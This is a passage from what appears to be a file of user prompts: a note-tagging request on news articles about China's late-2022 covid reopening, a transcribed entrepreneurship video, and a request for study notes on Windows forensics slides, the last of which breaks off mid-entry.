be linked to Lena\'s ultimate decision regarding the Hybrids, potentially offering a way to avert disaster and reshape the world.\n\nBy intertwining these elements and character arcs, you can create a rich and engaging story that explores the complexities of your post-apocalyptic world and the personal struggles of Lena as she confronts her past, her future, and the fate of humanity.' -'Assuming that I am keeping the sentences that I find interesting in a note app, please provide me with tags that I could use in my note-taking app and please provide me with a short description of what I am researching. Also, please let me know what topic I should research next. \n \nArticle:\n\n "What China can still do to avoid an enormous covid death toll\n\n It must treat hospitals as a precious resource and start stockpiling drugs\n\n People wearing face masks walk in a subway station, as coronavirus disease (COVID-19) outbreaks continue in Shanghai, China, December 8, 2022.\n\n Testing stations are being removed from city streets. The enforcers of “zero-covid” are nowhere to be found. In China’s battle against covid-19, the state has disappeared from the front lines. For nearly three years President Xi Jinping tried to contain the virus, calling his efforts a “people’s war”. Now he has surrendered and the people must live with the enemy.\n\n Listen to this story. Enjoy more audio and podcasts on iOS or Android.\n\n Mr Xi is not the first leader to conclude that such a fight was unwinnable. But before ditching their zero-covid policies, other countries first took pains to administer vaccines, stockpile antiviral drugs and draw up treatment guidelines. China had ample time to do all of that. Yet more than two years after the first vaccine proved effective, the country remains ill-prepared. That has made opening up much more dangerous than it ought to be.\n\n How dangerous? In this week’s China section we publish our model of how the epidemic might play out. It comes with essential caveats. Modelling an epidemic is difficult. Modelling one in China, where the data are often unreliable, is even harder. We take into account variables such as vaccination rates, the effectiveness of Chinese jabs, the lethality of covid for different age groups and the number of intensive-care beds. In a worst case, if covid spreads freely and many people cannot get care, we estimate that in the coming months 1.5m Chinese people will die from the virus.\n\n Although that is a lower share of the population than in many rich countries, it is still a criticism of the government’s poor preparations. It is also a call to action. A vaccination drive will take months. The government has waited too long to build and staff new icus. But even if the state will not impose lockdowns while it prepares, it can mitigate the number of deaths.\n\n It should start by protecting the health system. A wave of covid is breaking over China. Our model sees this peaking in January. By that time hospitals risk being overwhelmed. Beds and staff are a precious resource to be husbanded. That means keeping people who are not seriously ill away from hospitals. To that end, the state could help drug companies restock pharmacies that run out of such things as lateral-flow tests and paracetamol. Medical staff should be vaccinated first and they must be given the proper gear to minimise the risk of infection.\n\n A second step is to ensure cheap and plentiful supplies of covid drugs. Dexamethasone, a low-priced steroid, has been shown to reduce deaths among the most severely ill patients. Antivirals, such as Paxlovid, help keep those most at risk out of hospital. These drugs have become part of the toolkit doctors around the world are using to fight the virus. They could save many thousands of lives in China. Only the government knows if it has enough of them to go around. If not, it should start stocking up. Foreign governments would surely send supplies if China asked. President Xi Jinping should not let his pride imperil China’s people, as he has done by shunning more efficacious Western vaccines.\n\n China’s vaccines still work. So the third priority is to get them into people’s arms. It may be too late for many in this wave, but there will be others. Less than half of those over 80 years old have had three shots, the number needed for decent protection against severe disease and death. Yet some of the elderly have gone to the clinic for a jab only to be turned away for lack of supplies. Until recently, some vaccine factories were sitting idle. Vast quantities will be needed. Six-monthly booster shots ought to become a normal part of life for older Chinese.\n\n As the state has failed to do its job, people are helping themselves. Masks are ubiquitous in many cities and more people are working from home. Restaurants and cinemas may be open, but in cities such as Beijing they remain largely empty. All this will help slow the growth of this covid wave and ease the pressure on hospitals. But the government must also act. In a country the size of China, even small steps could save many lives." \n From the article above, I find the following sentences most interesting:\n 1. "President Xi Jinping tried to contain the virus, calling his efforts a “people’s war”"\n 2. "A wave of covid is breaking over China. Our model sees this peaking in January."\n 3. "we estimate that in the coming months 1.5m Chinese people will die from the virus"\n 4. "To that end, the state could help drug companies restock pharmacies that run out of such things as lateral-flow tests and paracetamol"\n 5. "A second step is to ensure cheap and plentiful supplies of covid drugs. Dexamethasone, a low-priced steroid, has been shown to reduce deaths among the most severely ill patients."\n 6. "China’s vaccines still work. So the third priority is to get them into people’s arms."\n\n \nArticle:\n\n "How Chinese people are dealing with the spread of covid-19\n\n The government has left the public to fend for itself\n\n A elderly man wearing a face mask and goggle walks on a street in Beijing, Sunday, Dec. 11, 2022. Facing a surge in COVID-19 cases, China is setting up more intensive care facilities and trying to strengthen hospitals as Beijing rolls back anti-virus controls that confined millions of people to their homes, crushed economic growth and set off protests.\n\n Just a few months ago Chinese people had little fear of catching covid-19. The government’s “zero-covid” measures kept them safe for the most part. Mass testing and strict lockdowns contained the virus. If a person did test positive, the government would swoop in. The infected were taken to state-run quarantine centres. If symptomatic, they were treated in a designated hospital. Health workers would douse their house with disinfectant and test their neighbours.\n\n All this changed on December 7th, when the central government largely ditched its zero-covid policy, lifting most restrictions. Six days later it scrapped an app that tracked people’s movements. The highly transmissible Omicron variant had made zero-covid unsustainable.\n\n Now the public is expected to fend for itself. “Be the first person responsible for your own health,” wrote the People’s Daily, a Communist Party mouthpiece. Some residents of Beijing have received letters from the local committees that used to enforce covid controls. Stop reporting fevers and coughs to us, one read, before wishing people good luck. “Thank you for the past three years of support and understanding.”\n\n The official number of new cases is falling, as if the virus were fading away. But official numbers are no longer reliable because the government has scaled back testing. If it has an alternative way of keeping tabs on the epidemic, it is not sharing it.\n\n Still, it is pretty clear that a covid wave is building, as people share stories of infection online. An informal survey has been circulating on social media asking Beijing residents if they have caught the virus. As The Economist went to press, 39% of the 434,000 or so respondents had said yes.\n\n Such surveys are striking, not just for the numbers. A few months ago people who had caught covid were stigmatised. They might, for example, struggle to find jobs after recovering. Now the disease is so common that people are posting their test results on social media, often substituting for the word “positive” a cartoon of a sheep (which is a Chinese homophone for positive). Others are sharing lighthearted advice about the best time to catch covid. An infection now or in early January, for example, might clear up in time for a person to enjoy both Christmas and the lunar new year. “Why aren’t I positive yet?” complained one young woman in a video.\n\n Others, though, are worried. Until recently the government told people that covid was to be feared. Now the official line is that Omicron is no worse than the flu. Infected people who are not showing serious symptoms have been encouraged to stay at home and treat themselves. Not everyone is listening. Beijing’s emergency-call operators have been swamped by over 30,000 calls a day, about six times the average. Queues have appeared outside fever clinics in several cities. Certain medicines are in short supply. On December 13th a health-care website began selling Paxlovid, a highly effective antiviral drug used to treat covid. Its initial stocks sold out in half an hour.\n\n Hospitals are under more stress as doctors and nurses catch the virus. There are reports that some medical workers who have tested positive have been asked to come in anyway, risking more transmission within hospitals. As of December 13th Beijing had 50 severely ill patients, according to the official numbers. So far, the health system does not appear to be overwhelmed. But the peak of this wave is still some way off. It will probably come in late January, at least in Beijing, says Ben Cowling, a professor of epidemiology at the University of Hong Kong.\n\n With the government changing its message, people are looking elsewhere for guidance. Overseas Chinese students who have experience with covid are sharing advice on WeChat, a social-media app. They tell people what symptoms to expect and how long they might last. In general, though, good information on the virus is lacking. There are reports of people going to hospital after taking too much fever medicine. Herbal remedies used to combat covid are in hot demand, though doctors doubt their effectiveness.\n\n Vaccines, not voodoo\n\n At least people now see the need to protect themselves against the virus, which was once viewed as a terrifying but distant threat. More are getting vaccinated. The number of jabs administered each day has increased from fewer than 200,000 to over 1m. But there is a lot of ground to make up, especially when it comes to the most vulnerable. Only around 40% of people over 80 have received the three doses needed to significantly reduce the chances of severe disease or death. Yet some elderly people have had trouble getting a shot because of a lack of supply at clinics.\n\n People are also taking steps that will help mitigate the spread of the disease and perhaps reduce the pressure on hospitals. In Beijing the shopping centres and streets are largely empty, as people stay inside. Call it a self-imposed lockdown. People who do venture out wear n95 masks (which are good at filtering small airborne particles). Demand for home deliveries of meals and groceries has shot up.\n\n But people are still making plans to travel back to their villages and home towns for the lunar new year in late January. Data from Ctrip, a booking platform, show that the volume of searches for flights has increased by 160% since the government loosened restrictions. Searches for train tickets on Baidu, a search engine, increased by nearly 600% during that time. Many rural areas are woefully unprepared to handle a surge in cases.\n\n When the peak of this wave approaches, “it would make a lot of sense to bring back some public-health measures,” says Mr Cowling. But reversing course may be hard for the government to justify without admitting that it had made a mistake."\n\n \nFrom the article above, I find the following sentences most interesting:\n 1. "lifting most restrictions. Six days later it scrapped an app that tracked people’s movements"\n 2. "Now the public is expected to fend for itself. “Be the first person responsible for your own health,” wrote the People’s Daily"\n 3. "But official numbers are no longer reliable because the government has scaled back testing"\n 4. "A few months ago people who had caught covid were stigmatised. They might, for example, struggle to find jobs after recovering."\n 5. "Beijing’s emergency-call operators have been swamped by over 30,000"\n\n \nArticle:\n\n "China pushes vaccines as retreat from \'zero-COVID\' turns messy.\n\n Beijing urges inoculations for elderly\n\n WHO calls for vaccine drive as virus spreads\n\n Economic summit starts amid more dire data\n\n BEIJING/SHANGHAI, Dec 15 (Reuters) - China raced to vaccinate its most vulnerable people on Thursday in anticipation of waves of COVID-19 infections, with some analysts expecting the death toll to soar after it eased strict controls that had kept the pandemic at bay for three years.\n\n The push comes as the World Health Organisation also raised concerns that China\'s 1.4 billion population was not adequately vaccinated and the United States offered help in dealing with a surge in infections.\n\n Beijing last Wednesday began dismantling its tough \'zero-COVID\' controls, dropping testing requirements and easing quarantine rules that had caused anxiety for tens of millions and battered the world\'s second largest economy.\n\n The pivot away from President Xi Jinping\'s signature "zero-COVID" policy followed unprecedented widespread protests against it. But, WHO emergencies director Mike Ryan said infections were exploding in China well before the government\'s decision to phase out its stringent regime.\n\n "There\'s a narrative at the moment that China lifted the restrictions and all of a sudden the disease is out of control," Ryan told a briefing in Geneva.\n\n "The disease was spreading intensively because I believe the control measures in themselves were not stopping the disease."\n\n Chinese foreign ministry spokesperson Wang Wenbin said on Thursday China has "institutional advantages" to fight COVID.\n\n "We will certainly be able to smoothly get through the peak of the epidemic," he told a regular news briefing in response to White House national security spokesperson John Kirby saying that the United States was ready to help if China requested it.\n\n There are increasing signs of chaos during China\'s change of tack - including long queues outside fever clinics, runs on medicines and panic buying across the country.\n\n On Thursday night, China\'s state asset regulator urged state-backed big drugmakers to ensure supplies of COVID-related medicines.\n\n The companies include China Resources, China General Technology and Sinopharm, which own businesses that produce drugs that could ease coronavirus symptoms.\n\n One video posted online on Wednesday showed several people in thick winter clothes hooked up to intravenous drips as they sat on stools on the street outside a clinic in central Hubei province. Reuters verified the location of the video.\n\n The COVID scare in China also led people in Hong Kong, Macau and in some neighbourhoods in Australia to go in search for fever medicines and test kits for family and friends on the mainland.\n\n For all its efforts to quell the virus since it erupted in the central city of Wuhan in late 2019, China may now pay a price for shielding a population that lacks "herd immunity" and has low vaccination rates among the elderly, analysts said.\n\n "Authorities have let cases in Beijing and other cities spread to the point where resuming restrictions, testing and tracing would be largely ineffective in bringing outbreaks under control," analysts at Eurasia Group said in a note on Thursday.\n\n "Upward of 1 million people could die from COVID in the coming months."\n\n Other experts have put the potential toll at more than 2 million. China has reported just 5,235 COVID-related deaths so far, extremely low by global standards.\n\n China\'s stock markets and its currency fell on Thursday on concerns of the virus spread.\n\n China reported 2,000 new symptomatic COVID-19 infections for Dec. 14 compared with 2,291 a day. The official figures, however, have become less reliable as testing has dropped. It also stopped reporting asymptomatic figures on Wednesday.\n\n CONCERN FOR ELDERLY\n\n China, which has said around 90% of its population is vaccinated against COVID, has now decided to roll out the second booster shot for high-risk groups and elderly people over 60 years of age.\n\n National Health Commission spokesperson Mi Feng said on Wednesday it was necessary to accelerate the promotion of vaccinations, according to comments reported by state media.\n\n The latest official data shows China administered 1.43 million COVID shots on Tuesday, well above rates in November of around 100,000-200,000 doses a day. In total, it has administered 3.45 billion shots.\n\n Vaccinations in China have been ramping up in recent days. The latest official data shows it administered 1.43 million shots on Tuesday, well above rates in November of around 100,000 - 200,000 doses a day.\n\n Vaccinations in China have been ramping up in recent days. The latest official data shows it administered 1.43 million shots on Tuesday, well above rates in November of around 100,000 - 200,000 doses a day.\n\n But one Shanghai care home said on Wednesday a number of its residents have not yet been vaccinated and considering their underlying medical condition, it has barred visitors and non-essential deliveries while stockpiling medicines, tests kits and protective gear.\n\n "We are racking our brains on how to ensure the safety of your grandparents," the Yuepu Tianyi Nursing Home wrote in a letter posted on its official WeChat account page.\n\n Beijing has been largely resistant to western vaccines and treatments, having relied on locally-made shots. Pfizer\'s (PFE.N) oral COVID-19 treatment Paxlovid is one of the few foreign ones it has approved.\n\n The treatment, however, has only been available in hospitals for high-risk patients, but signs have appeared in recent days that it may soon be made more widely available.\n\n China Meheco Group Co Ltd\'s stock jumped (600056.SS) after it announced a deal to import the U.S. drugmaker\'s treatment on Wednesday.\n\n ECONOMIC CONFERENCE\n\n As the virus spreads, President Xi, his ruling Politburo and senior government officials began a two-day meeting to plot a recovery for China\'s battered economy, according to sources with knowledge of the matter.\n\n China\'s economy lost more steam in November as factory output growth slowed and retail sales extended declines, both missing forecasts and clocking their worst readings since May, data on Thursday showed.\n\n Economists estimate that China\'s growth has slowed to around 3% this year, marking one of China\'s worst performances in almost half a century."\n\n \nFrom the article above, I find the following sentences most interesting:\n 1. "Upward of 1 million people could die from COVID in the coming months."\n 2. "Other experts have put the potential toll at more than 2 million."\n 3. "China administered 1.43 million COVID shots on Tuesday, well above rates in November of around 100,000-200,000 doses a day. In total, it has administered 3.45 billion shots."' -"let's get\ninto the tips all right so first things\nfirst\nis taking risks and listening to your\ngut\nand by risks i really do mean calculated\nrisks i don't think that it's smart to\njust\nbe impulsive as an entrepreneur\nespecially as you're transitioning into\nentrepreneurship\nit's very important to actually assess\nthe entire scope of the situation\nbefore making a risky decision so if the\nrisk\nmakes sense then jump into it it's still\na risk\num but if it is not very rational\num i really encourage you before you\ntake it\nto look at the entire situation\nand really write down like why this risk\nmakes sense\nand why this risk doesn't make sense and\nthen write down\nall the possible outcomes of taking that\nrisk\nand that's really going to help you make\nmore of a calculated risk\ncreate more of a strategy into the risk\nso that way\nwhen you take it you really take it i\nfind that when people take impulsive\nrisks\nthey still have a lot of fear bottled up\nthey still have a lot of\nanxiety inside and so when they do take\nthe risk\nit doesn't always play out the way that\nyou expected it to because you're\ncarrying\nall of this weight into the risk so when\nyou do take the leap\nuh whether that be into entrepreneurship\nor if you're rebranding or\ndeciding on someone to hire or whatever\nit is like really\nassess the entire situation\nand figure out what's the worst possible\noutcome and the best possible outcome\nand evaluate if you are willing for both\nof those things\nto pan out the second thing is to\nconnect with people\nand prioritize relationship building and\nthis is something that i'm\nreally going to work on this year i find\nthat when you are a solo entrepreneur\nyou can kind of get into the trenches\nand you're\nyou're working on your business and\neverything you're doing\nis for the growth of your business but\nsometimes we can we can underestimate\nthe power\nof you know blocking off uh\nan hour or so every other week to reach\nout to people and to see how we can\nsupport them in their businesses and to\nsee\nhow maybe we can collaborate and that is\nsomething that i have not done enough of\nand that's something that i'm bringing\ninto 2021 as a goal of mine to\nreally work on collaboration the third\nthing is to take time to take care of\nyourself\nit can get really hard as an\nentrepreneur like\njust the journey of entrepreneurship is\nnot easy\nit can be very mentally taxing just\nconstantly trying to figure out\nsolutions and put out fires and\nfigure out what to do next with your\nbusiness how to grow and expand\nyou know how to hire how to delegate and\nyou know it's not that it's like\njust this extremely hard and a negative\nsense but it can be mentally taxing and\nso\ntaking that time to just\nbreathe and give yourself the\nopportunity\nto not be the boss at all times and just\nbe you and whatever it is that\nyou have to do to pour back into\nyourself\nthat is something that needs to be\nregularly done and again\nyou guys i'm preaching to the choir\nbecause these are all\nthings that i am working to do for this\nyear\nlast year was a pretty big year for\naaron on demand\nand i didn't really get a whole lot of\ntime\non top of everything that's going on in\nthe world i didn't really get a lot of\nquality personal time and so this year\ni'm really working on figuring out what\ndoes that even mean to me like what do i\nactually need to stay fueled up\nis that working out or is that spending\ntime with my family\nor is that reading or journaling\nor what does that look like for me and i\nthink\nonce you can kind of come to that and\nhave that sense of\nself in terms of what gets you back\ncalibrated practicing that very\nfrequently and so\nthis year i challenge you to take that\ntime for yourself\num i'm not saying like scrolling on\ninstagram or watching your favorite show\nbut like really looking at who you are\nand what it takes for you to get um\nto get that push to to keep going\nthe fourth thing is prioritizing tasks\ni think prioritization is one of the\nthings that makes people who are\nbosses really good bosses because\nthey can really assess like what is\nimportant\nright now like you may have five things\nto do today\nbut what is the most important thing\nthat you need to get done today\ni that's why i love the top three method\nwhich you guys have seen me\ndo over the past couple of years i just\nlaunched the top three notebook not too\nlong ago\nand i just the idea of prioritizing\nthe three things that you need to get\ndone the most for the day\ntakes the pressure off of having so\nmuch to do in one short day\nand it just takes the pressure off of\nfeeling like you didn't get a lot done\nif you didn't get all 12 things on your\nto-do list done\nso i find that prioritization is more\nimportant than\nhaving a whole bunch of stuff to do and\nfeeling\nlike you know you checked all of these\nthings off but like\ndid you really get the thing that was\nthe top priority that should have been\ndone\ndone and i have been doing this for\nyears and it has\nreally helped my business scale it has\nhelped my channel grow\nand just knowing and practicing\nprioritizing\nhas helped me to really be able to even\ndelegate more and figure out\nwhat can i pass off to people what is\nimportant for me\nto actually be doing and that leads me\nto my next point which is delegating\nso this year y'all we are not doing it\nall\nall right we are just we are not doing\nthat\nand to delegate you do not have to be\nmaking\nfour five six figures a month you just\nneed to first be able to identify\nwhat needs to be delegated okay\num and once you can figure that out\nstart crafting some roles around the\nthings that\nneed to be delegated so if you are\nsomeone who\nis really like you have this business\nand you know you need to be\ncreating more social media content maybe\nyou find\na social media assistant who specializes\nin photography\nand so they can go out and take pictures\nwith you but they can\nalso double and do some of the posting\nfor you\nbut when you know what you need to be\ndelegating then you can start to create\nroles around those tasks essentially\nso i would highly recommend even if you\naren't\nseeing a whole lot of cash flow in your\nbusiness um\nyou can delegate by hiring\na va or an intern or someone who can\ntake some of the load off of you\njust so you can also start figuring out\nthe proper ways to delegate\nhow to train your team how to really\nwork with someone and trust\nsomeone with your work um because there\nis that\nlevel of trust that you have to start\nbuilding which can be tough when you're\nso used to doing everything on your own\nso delegating is one of the things y'all\nwe are not\ndoing it all okay doing it all is not\nsexy anymore\nso we need to start passing some of\nthose things off and trusting\nthe people that we hire to do it there\nare also a lot of resources that you can\nuse to help you in delegating\nlike fiverr like upwork\nthere are tons of different resources\nand\nalso just facebook groups there are i\nhave a facebook group the e-brand club\nthat a lot of my members barter services\ninside of so that's also a way to\nbe able to delegate without paying a\nwhole lot of money\nall right the next thing to do\nto boss up this year is to start\nincorporating more\nvideo content into your business\nnow y'all we are in doggone\n2021 i really need you to start doing\nsome video boo\nthis is the year that you really need to\nhit hard\nwith video i say this every single year\nbecause every year you could have\nstarted\nand if you didn't you need to start now\nvideo is the most powerful way to\nget people engaged with your brand with\nyour message\nand to convert them into paying\ncustomers or clients it is the fastest\nway\nto build no like trust factor and get\nthem into your\nbusinesses ecosystem so start\ncreating video content you can do\nsomething small\nas small as instagram stories or\ninstagram reels\nto quick little tips on facebook or\non instagram feed um anything\nwhere you can really get engaged and\nshare valuable content through video\nwith your audience\nis essential this year for your business\nand for your social media strategy\nnext thing you need to do to boss up is\nimplement focused\nwork you know this is tough but i am\ngetting better at doing more focused\nwork\neven if it's for one hour and a day\nwhere i'm just locked into my work\ni just find that a lot of time we do not\nfocus strong enough we have so many\ndistractions\nfrom our phones to computers to now our\nfamilies being in the house\nwith us all at the same time but if\nthere is a way that you can\nbury yourself whether it's for 30\nminutes\nor three hours where you have no\ndistractions and you can actually get\ninto a\nflow a lot of us never experience what\nit is like to\ngo through real flow like mental flow\nwhere you are locked into a task\nand your brain is just flowing on\nideas and it is flowing with\nlike productivity to get the task done\nand if you never allow yourself to get\ninto\na an isolated or secluded state\nwhere you are able to be focused without\nany distractions it's very hard to get a\nlot done\nin a short amount of time so one way i\ndid a video i popped the thumbnail here\nwhere\ni talked about working four hours a day\nfor\none week i did this trial where i could\nonly work for four hours a day\nand when i limited myself to an amount\nof time that i had of working hours\ni really got into my workflow like a lot\nfaster than i typically do\nwithout having that mental cue\nthat i'm like only able to work four\nhours a day so if you can start to\ntrain your body to not be working all\nthese\nlong hours y'all we are not trying to be\nentrepreneurs to work forever\nlike throughout the whole day and\nthroughout the whole night and not get\nsleep and not\nyou know enjoy time with our families\nand friends so i\nchallenge you to learn how to implement\nfocused work into your work days\nand start small like don't try to work\nwithout any distractions for four hours\nstraight just don't because it will be a\nchallenge\nbut try to work for 30 minutes without\ndistractions you can set a timer on your\nphone\nand just say for 30 minutes i am not\ngoing to pick my phone up i'm not going\nto answer any calls\nor any emails or do anything that are\nfrivolous tasks that make me feel\nproductive but are actually not\npushing me toward the goal if you can do\nthat for\n30 minutes and build on that every day\nby 10 or 15 minutes\nuntil you can really start experiencing\nflow for a long time\nthen that is what you need to do okay\num so this year to boss up\nwe are channeling a deeper level of\nconcentration\nand workflow the next thing is to\naddress\nfears and to really be\nvulnerable with yourself on the fears\nthat you have and why you have those\nfears\nand i've talked about this in other\nvideos but it's\njust so important to acknowledge\nwhat could potentially be holding you\nback\nwhether that be you are nervous to have\nsomeone's life depending on you and\nthat's why\nyou aren't hiring anyone that was my\nfear for\nquite a while and it's still kind of a\nfear because i don't have any\nfull-time employees yet and so um\naddressing those things and figuring out\nlike okay why\nand then figuring out how can i combat\nthis fear like what action steps can i\ntake\nto increase my revenue consistently\nso that i don't have this fear anymore\num\nso those are things that\nwe have to really start addressing if\nyou are scared\nto quit your job or if you're scared to\nlaunch your new product\nor your new service really think about\nwhy you are scared and what that fear is\nrooted in\nso that way once you address it it\nalmost\nreleases it from you and then start\nthinking about\nthe action steps that you can take to\nmove past that fear okay so this leads\nperfectly into the next thing that we\nare doing to boss up this year\nwhich is to have more faith i think that\nfaith is\nsuch a big part of entrepreneurship and\njust being a boss over your life that\nnot enough people share and\nto just believe whether you believe in\ngod or\nwhatever your belief is like honestly\ntruly believing that you can do it\nand having that faith to carry you\nthrough those hard\ntimes that in itself also can help\nalleviate\nus from so many fears and just help us\nto\nbe content with who we are where we are\nand what our plans are to move forward\nthe next tip\nis being a part of a community that is\ngoing to be supportive of you\nas you are leveling up bossing up\nstarting your business expanding your\nbusiness growing your social media\nwhatever\nit is that you are trying to do to boss\nup and level up get around people who\nare like-minded because the last thing\nyou need\nis to be around some folks who do not\nbelieve in you and who are not there to\nspeak\nlife into you to help nurture your goals\nto help push you toward your vision to\nhelp support you\nto help call out your your flaws or your\nweaknesses to help you be better\nlike you need honest good solid people\naround you and\nthat can be hard to come by i started my\nebran club\nabout a year and a half ago for that\nvery reason because so many\nentrepreneurs\nand content creators were reaching out\nsaying like i\nneed support like my family is not\nsupportive of this my friends don't\nunderstand\nand i need somewhere to go and so\nthe e brand club is a safe space for\nentrepreneurs to express\nconcerns to ask questions\nand we do weekly live lessons on\nbuilding your brand\nbuilding your business we bring some\nawesome masterclass speakers in\nwho just share a wealth of information\nso if you\nare an entrepreneur a side hustler or a\ncontent creator who is looking for\na community of support but also a lot of\nresources and a lot of knowledge\nfrom our q a to our lessons to our\nsocial media audits\nwe really pack the club with a lot of\ngreat information\nbut really the best part is the\ncommunity so if that is something that\nyou are interested in the e-brand club\ninformation will be\nlinked down below we do have\ntemporary enrollment periods so it will\nnot always be open for enrollment but\ni on the website there will either be a\nwaitlist or if enrollment is open\nyou can go on there and enroll and join\nthe club so\nthat is for anyone who really wants to\nbe a part of a group of supportive\nentrepreneurs who are all leveling up\nand are ready to take charge of\ntheir lives and just you know boss up\nokay\nso those are how we are bossing up in\n2021\nthese are things i'm doing and i really\nhope that you join along with me to do\nthe same\ny'all it is going to be a heck of\na year i'm so excited i'm so excited and\nif you enjoyed this video\nplease turn on your notifications i\nalways upload on this channel about\nentrepreneurship\ni do a lot of day in the life of an\nentrepreneur\nvideos and also branding and business\nvideos\nfrom my experiences as an entrepreneur\nso i would love to have you a part of\nthe fam\nif that sounds like your gym all you got\nto do is subscribe and i will see you on\nthe next one\npeace" -'I am having an exam can you write for me a syudy notes that brief everything ?\nCH3- Windows Forensics\nPrepared By,\nArun Kumar R\n3.1 Volatile Information\n• Volatile information is information that is lost the moment a\nsystem is powered down or loses power.\n• Usually exists in physical memory, or RAM.\n• Consists information about processes, network connections, open\nfiles, clipboard contents etc.\n• One of the first things investigators should collect is the contents of\nRAM.\n3.1 Volatile Information\nSome of the specific types of volatile information that investigators\nshould collect:\na. System time\nb. Logged-on user(s)\nc. Open files\nd. Network information\ne. Network connections\nf. Process information\ng. Process-to-port mapping\n3.1 Volatile Information\nh. Network status\ni. Clipboard contents\nj. Service/driver information\nk. Command history\nl. Mapped drives\nm. Shares\n3.1 Volatile Information\na) System time\n▪ First piece of information-system time\n▪ Establish an accurate timeline of events\n▪ date/t and time/t commands\nb) Logged-on Users\n▪ Investigator needs to find out which users are logged on to the\nsystem (Ex: PsLoggedOn)\n3.1 Volatile Information\nc) Open Files\n▪ If there are users logged into a system remotely, investigators\nshould also see what files they have open(PsFile)\nd) Network Information\n▪ Should collect information regarding network connections to\nand from the affected system\nEx: C:\\> Netstat\n3.1 Volatile Information\ne) Process Information\n▪ A process is a section or instance of an application or program\nthat is being run sequentially.\n▪ Viewing the running processes in the Task Manager\n▪ Following are the types of information :\n• The full path to the executable image (.exe file)\n• The command line used to launch the process, if any\n• The amount of time that the process has been running\n• The security/user context that the process is running\n• The memory contents of the process\n3.1 Volatile Information\nf) Process-to-port Mapping\n▪ A port is a logical connection that allows data to be sent from\none application to another directly\nEx: Netstat -o\ng) Network Status\n▪ Information about the status of the network interface cards\n(NICs) connected to a system\nEx: ipconfig /all\n3.1 Volatile Information\nh) Clipboard Contents\n▪ Clipboard is simply an area of memory where data can be stored\nfor later use\n▪ Windows applications provide this functionality through the Edit\noption on the menu bar.\n▪ Clicking Edit reveals a drop-down menu with choices like Cut,\nCopy, and Paste. Win + V\n3.1 Volatile Information\ni) Service/Driver Information\n▪ A driver is a small program that allows a computer system to\ncommunicate with a hardware device.\n▪ A service is a non interactive program that helps the operating\nsystem and applications perform their tasks.\nj) Command History\n▪ Investigator can use the doskey /history command\n▪ show the complete history of the commands typed into that\nprompt.\n3.1 Volatile Information\nk) Mapped Drives\n▪ What drives or shares the system under investigation has\nmapped to.\n▪ Mappings could have been created by the user, and they might\nbe an indication of malicious intent.\nl) Shares\n▪ Information about shares available on a system is maintained in\nHKEY\\_LOCAL\\_MACHINE\\System\\CurrentControlSet\\Services\\lan\nmanserver\\Shares key\n3.2 Non Volatile\nInformation\n• Nonvolatile information is kept on secondary storage devices and\npersists after a system is powered down\n• Nonperishable and can be collected after the volatile information is\ncollected\na. Hidden files\nb. Slack space\nc. Swap files\nd. Index.dat files\ne. Metadata\nf. Hidden ADS (alternate data streams)\n3.2 Non Volatile\nInformation\ng. Windows Search index\nh. Unallocated clusters\ni. Unused partitions\nj. Hidden partitions\nk. Registry settings\nl. Connected devices\nm. Event logs\n3.2 Non Volatile\nInformation\na. Examining File Systems\ndir /o:d\n▪ The time and date of the installation of the operating system\n▪ The service packs, patches, and subdirectories that\nautomatically update themselves often\nb. Registry Settings\nWin+R→regedit→HKEY\\_LOCAL\\_MACHINE\\System\\CurrentCon\ntrolSet\\Control\\FileSystem\n3.2 Non Volatile\nInformation\nc. Event Logs\n• Event logs are stored in files within the file system\nC:\\PSTOOLS>psloglist --retrieve the event records\nd. Index.dat file\n• Internet Explorer Web browser uses index.dat files as a database\nthat is active as long as a user is logged on in Windows.\n• Repository of redundant information, such as visited URLs, search\nqueries, recently opened files, and form AutoComplete information\n3.2 Non Volatile\nInformation\ne. Connected Devices\n▪ Investigator may want to document what devices are connected to\na system he or she is investigating.\n▪ Can use DevCon, available from Microsoft.\nf. Slack Space\n▪ Space between the end of a file and the end of the disk cluster it is\nstored in is called the slack space.\n▪ Examine slack space because it may contain meaningful data.\n3.2 Non Volatile\nInformation\nf. Slack Space(contd..)\n1. Connect to the target computer and select the media.\n2. Create a bit-level copy of the original media.\n3. Verify the copy by generating its hash value.\n4. Investigate using keyword searches, hash analysis, and file signature\nanalysis using a tool such as EnCase.\n3.2 Non Volatile\nInformation\ng. Swap File\n▪ A swap file is a space on a hard disk used as the virtual memory\nextension of a computer’s real memory (RAM).\n• HKEY\\_LOCAL\\_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Sessio\nn Manager\\Memory Management.\nh. Windows Search Index\n▪ Maintains a record of any document or application on a PC,\nincluding the contents of these files.\n-Creation and modification dates -Author\n-E-mail recipients -Content summaries\n3.2 Non Volatile\nInformation\ni. Hidden Partition\n▪ a logical section of a disk that is not accessible to the operating\nsystem.\n▪ Can use a tool such as Partition Logic to collect the information\nfrom the hidden partition.\nj. Hidden ADS\n▪ Through alternate data stream (ADS), users can hide data\n▪ notepad visible.txt:hidden.txt at a command prompt\n3.3 Inside Windows\nRegistry\n• Each of the hives in the Windows registry plays an important role in\nthe functioning of the system\n• HKEY\\_USERS hive contains all the actively loaded user profiles for\nthat system.\n• HKEY\\_CURRENT\\_USER is the active, loaded user profile for the\ncurrently logged-on user.\n• HKEY\\_LOCAL\\_MACHINE hive contains hardware settings and\nsoftware settings.\n3.3 Inside Windows\nRegistry\n• HKEY\\_CURRENT\\_CONFIG hive contains the hardware profile the\nsystem uses at startup.\n• HKEY\\_CLASSES\\_ROOT hive contains which application is used to\nopen various files on the system.\nRegistry Structure Within a Hive File\n• Key cell: registry key-information and includes offsets to other cells\nas well as the LastWrite time for the key (signature: kn).\n• Value cell: holds a value and its data (signature: kv).\n• Subkey list cell: a series of indexes (or offsets) pointing to key cells;\n3.3 Inside Windows\nRegistry\n• Value list cell: series of indexes (or offsets) pointing to value\ncells;\n• Security descriptor cell: contains security descriptor\ninformation for a key cell (signature: ks).\n3.4 Cache, Cookie, and\nHistory Analysis in IE\n• A cache is a place to store something temporarily.\n• When the user returns to a page he or she recently looked at, the\nbrowser can get it from the cache\n• Rather than the original server, saving time and decreasing network\ntraffic.\n• A cookie is information that a Web site puts on a user’s hard disk\n• So that the user’s system can remember something about the site\nat a later time.\n• C:\\Documents and Settings\\\\Local Settings\\Temporary\nInternet Files\\Content.IE5\\\n• Stores all IE activities of a user, included cached pages and images\n3.5 Cache, Cookie, and\nHistory Analysis\nin Mozilla, Firefox, and Netscape\n• Mozilla, Firefox, and Netscape save Web activity in an ASCII file\nnamed history.dat.\n• Firefox files are located in the following directory:\n\\Documents and 